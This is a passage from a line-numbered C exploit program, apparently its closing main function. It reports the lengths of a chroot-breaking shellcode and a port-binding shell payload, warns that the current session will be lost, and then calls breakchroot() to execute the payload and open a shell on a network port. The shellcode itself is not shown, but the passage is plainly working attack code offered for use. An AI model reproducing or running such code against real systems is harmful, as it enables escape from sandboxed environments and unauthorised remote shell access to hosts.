| 167 | printf( "chroot break code length ... %d\n" | ||
| 168 | "portshell code length ...... %d\n" | ||
| 169 | "total shellcode length ..... %d\n", | ||
| 170 | strlen(cbreak), strlen(bind), strlen(buf)); | ||
| 171 | |||
| 172 | printf( "\nNow, we'll execute shellcode\n" | ||
| 173 | "Note that your current tty/remote session will\n" | ||
| 174 | "be lost.\n" | ||
| 175 | "Portshell will be at port %d\n" | ||
| 176 | "Hit enter to continue, ^C to break\n", BINDPORT & ~0xff); | ||
| 177 | |||
| 178 | getchar(); | ||
| 179 | breakchroot(); | ||
| 180 | |||
| 181 | /* NOT REACHED */ | ||
| 182 | return 0; | ||
| 183 | } | ||
